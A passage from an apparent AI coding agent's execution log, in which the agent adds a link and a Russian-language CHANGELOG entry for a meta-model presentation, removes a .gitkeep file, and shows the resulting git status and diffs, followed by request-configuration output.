\u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c.\\n'''\\nanchor='### Added\\\\n\\\\n'\\nassert anchor in t; open(c,'w').write(t.replace(anchor,anchor+entry,1))\\nEOF\\ngit rm -q .gitkeep; git status --short; tail -3 /tmp/tep.log\",\n[2026-09-29T08:00:21.634Z] [INFO]       \"description\": \"Add related link, CHANGELOG entry, remove .gitkeep\"\n[2026-09-29T08:00:21.634Z] [INFO]     }\n[2026-09-29T08:00:21.634Z] [INFO]   }\n[2026-09-29T08:00:21.634Z] [INFO] }\n[2026-09-29T08:00:24.946Z] [INFO] {\n[2026-09-29T08:00:24.946Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"task_id\": \"barsd0bi0\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"tool_use_id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"description\": \"Add related link, CHANGELOG entry, remove .gitkeep\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:00:24.946Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"uuid\": \"344b39a0-c5a3-4e0f-8c71-2f66c6228f8a\",\n[2026-09-29T08:00:24.946Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:24.946Z] [INFO] }\n[2026-09-29T08:00:25.476Z] [INFO] {\n[2026-09-29T08:00:25.476Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"task_id\": \"barsd0bi0\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"tool_use_id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"summary\": \"Add related link, CHANGELOG entry, remove .gitkeep\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"uuid\": \"f1164701-a1aa-4486-82b1-9c0e5a324df2\",\n[2026-09-29T08:00:25.476Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:00:25.476Z] [INFO] }\n[2026-09-29T08:00:26.111Z] [INFO] {\n[2026-09-29T08:00:26.111Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"message\": {\n[2026-09-29T08:00:26.111Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:00:26.111Z] [INFO]     \"content\": [\n[2026-09-29T08:00:26.111Z] [INFO]       {\n[2026-09-29T08:00:26.111Z] [INFO]         \"tool_use_id\": \"toolu_01LjGDZtyDjizYHtmDahqXdG\",\n[2026-09-29T08:00:26.111Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:00:26.111Z] [INFO]         \"content\": \"D  .gitkeep\\n M CHANGELOG.md\\n M projects/ba-ai-process/README.md\\n?? projects/ba-ai-process/docs/presentation/\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:26.111Z] [INFO]         \"is_error\": false\n[2026-09-29T08:00:26.111Z] [INFO]       }\n[2026-09-29T08:00:26.111Z] [INFO]     ]\n[2026-09-29T08:00:26.111Z] [INFO]   },\n[2026-09-29T08:00:26.111Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:00:26.111Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"uuid\": \"1fb65b72-12d8-47c1-975b-e205eb4bd2b7\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"timestamp\": \"2026-09-29T08:00:26.049Z\",\n[2026-09-29T08:00:26.111Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:00:26.111Z] [INFO]     \"stdout\": \"D  .gitkeep\\n M CHANGELOG.md\\n M projects/ba-ai-process/README.md\\n?? projects/ba-ai-process/docs/presentation/\\nProduct taxonomy compilation check passed (2 Source snapshots + 2 Distribution copies).\",\n[2026-09-29T08:00:26.111Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:00:26.111Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:00:26.111Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:00:26.111Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:00:26.111Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T08:00:26.111Z] [INFO]       \"files\": [\n[2026-09-29T08:00:26.111Z] [INFO]         {\n[2026-09-29T08:00:26.111Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T08:00:26.111Z] [INFO]           \"hunks\": [\n[2026-09-29T08:00:26.111Z] [INFO]             {\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldStart\": 12,\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newStart\": 12,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newLines\": 7,\n[2026-09-29T08:00:26.111Z] [INFO]               \"lines\": [\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"+  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/ba-meta-model-overview.md\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" related_issues:\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"   - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" ---\"\n[2026-09-29T08:00:26.111Z] [INFO]               ]\n[2026-09-29T08:00:26.111Z] [INFO]             }\n[2026-09-29T08:00:26.111Z] [INFO]           ]\n[2026-09-29T08:00:26.111Z] [INFO]         },\n[2026-09-29T08:00:26.111Z] [INFO]         {\n[2026-09-29T08:00:26.111Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/CHANGELOG.md\",\n[2026-09-29T08:00:26.111Z] [INFO]           \"hunks\": [\n[2026-09-29T08:00:26.111Z] [INFO]             {\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldStart\": 13,\n[2026-09-29T08:00:26.111Z] [INFO]               \"oldLines\": 6,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newStart\": 13,\n[2026-09-29T08:00:26.111Z] [INFO]               \"newLines\": 7,\n[2026-09-29T08:00:26.111Z] [INFO]               \"lines\": [\n[2026-09-29T08:00:26.111Z] [INFO]                 \" \",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" ### Added\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" \",\n[2026-09-29T08:00:26.111Z] [INFO]                 \"+- projects: [\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) (issue [#646](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646)) \u2014 \u043f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432: \u0448\u0430\u0431\u043b\u043e\u043d \u0438\u0437 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence (\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E) \u0438 [\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) \u0441 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435\u043c \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb \u0438 \u00ab\u043a\u0430\u043a\u00bb, \u043c\u043e\u0441\u0442\u0438\u043a\u0430\u043c\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u0430\u043c\u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f. \u0421\u044e\u0436\u0435\u0442 \u2014 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 `mango_ba_prompts` (69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u00ab\u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u00bb, \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432 5 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0443 \u0438 fail-closed, \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441 \u0447\u0435\u0441\u0442\u043d\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0435\u043a\u0442\u043e\u0440 \u043e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u043a \u0421\u0440\u0435\u0434\u0435 4 \u0441 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f. \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0444\u0430\u043a\u0442\u043e\u0432 `research/ba-requirements` \u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0440\u0435\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u043d\u0435\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0435 (\u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0439, \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0431\u043e\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d, \u0433\u0440\u0430\u043d\u0438\u0446\u0430 MCP \u00ab\u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb) \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c.\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" - projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439](projects/ba-ai-process/dist/execution-package-gigacode-cli/docs/guides/README.md) \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 (issue [#638](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/638)): \u043e\u0431\u0437\u043e\u0440 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 GigaCode CLI, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c Python \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0431\u0430\u0437\u043e\u0439 \u0437\u043d\u0430\u043d\u0438\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442 `docs/kb/`, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d `TASK-0001` \u0441 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0432\u0445\u043e\u0434\u043e\u043c A-IN, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0441 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435\u043c Working \u0438 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u043f\u043e \u0432\u0441\u0435\u043c \u0443\u0437\u043b\u0430\u043c `RG-BCREQ-v1` \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0444\u0440\u0430\u0437\u043e\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0443\u0437\u043b\u043e\u0432 \u0438 \u043e\u0442\u043a\u0430\u0437\u0430\u043c\u0438 runner. \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64): \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0432 PowerShell, \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 BOM, \u043a\u043b\u043e\u043d \u0441 `core.autocrlf` \u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `.git` \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043b\u043e\u043c\u0430\u044e\u0442 `G-mach`. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-2\u2026\u041e-10 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221; \u043d\u043e\u0432\u044b\u0439 `test_guides.py` \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0431\u043b\u043e\u043a\u0438 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432 Windows PowerShell 5.1 \u0438 PowerShell 7 (CI-\u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides`), \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u0432\u0441\u0435\u0445 \u0431\u043b\u043e\u043a\u043e\u0432, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u043e\u0442\u043a\u0430\u0437\u043e\u0432.\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" - projects: [\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u0430 \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 BCREQ (issue [#636](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/636)): \u0441\u0442\u0430\u0440\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u043d\u0430 Jira \u0438\u043b\u0438 \u0442\u0435\u043a\u0441\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0443\u044e \u0444\u0440\u0430\u0437\u0443 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 Plan, \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u0435\u043d, \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0438 \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b \u043c\u043e\u0434\u0435\u043b\u0438 (\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f, hooks \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 Windows, \u043d\u0435\u0442 skills \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0442\u043b\u0430\u0434\u043a\u0438) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u041e-1\u2026\u041e-5 \u0438 \u0437\u0430\u0434\u0430\u0447\u0438 B-198\u2026B-202; \u0442\u0435\u0441\u0442\u044b \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f.\",\n[2026-09-29T08:00:26.111Z] [INFO]                 \" - projects: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0435\u0433\u043e \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 [\u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432](projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/README.md) (issue [#628](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/628)): \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0431\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0434\u0430\u0447, \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 KB \u0438\u0437 `mango-ba-ai-runtime/docs/kb`, \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0441 \u0440\u0430\u0437\u0431\u043e\u0440\u043e\u043c trace, \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043f\u0430\u043f\u043e\u043a, \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0438 \u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0445 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0439. \u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u2014 Windows 10/11 x64; \u043f\u0430\u043a\u0435\u0442 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 Source.\"\n[2026-09-29T08:00:26.111Z] [INFO]               ]\n[2026-09-29T08:00:26.111Z] [INFO]             }\n[2026-09-29T08:00:26.111Z] [INFO]           ]\n[2026-09-29T08:00:26.111Z] [INFO]         },\n[2026-09-29T08:00:26.111Z] [INFO]         {\n[2026-09-29T08:00:26.111Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/.gitkeep\",\n[2026-09-29T08:00:26.111Z] [INFO]           \"hunks\": [\n[2026-09-29T08:00:26.111Z] [INFO]             {\n[2026-09-29T08:00:26.111Z] [INFO]               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{\n[2026-09-29T08:00:26.224Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:00:26.226Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:00:26.231Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:00:26.237Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:00:26.240Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:00:26.243Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:00:26.249Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:00:26.251Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:00:26.254Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:00:26.257Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:00:26.261Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:00:26.264Z] [STDOUT]       stream: true,\n[2026-09-29T08:00:26.267Z] [STDOUT]     },\n[2026-09-29T08:00:26.271Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:00:26.274Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:00:26.279Z] [STDOUT]       aborted: false,\n[2026-09-29T08:00:26.282Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:00:26.284Z] [STDOUT]       onabort: null,\n[2026-09-29T08:00:26.288Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:00:26.291Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:00:26.295Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:00:26.298Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:00:26.303Z] [STDOUT]     },\n[2026-09-29T08:00:26.305Z] [STDOUT]     stream: true,\n[2026-09-29T08:00:26.307Z] [STDOUT]   },\n[2026-09-29T08:00:26.313Z] [STDOUT]   headers: {\n[2026-09-29T08:00:26.315Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:00:26.318Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:00:26.321Z] [STDOUT]     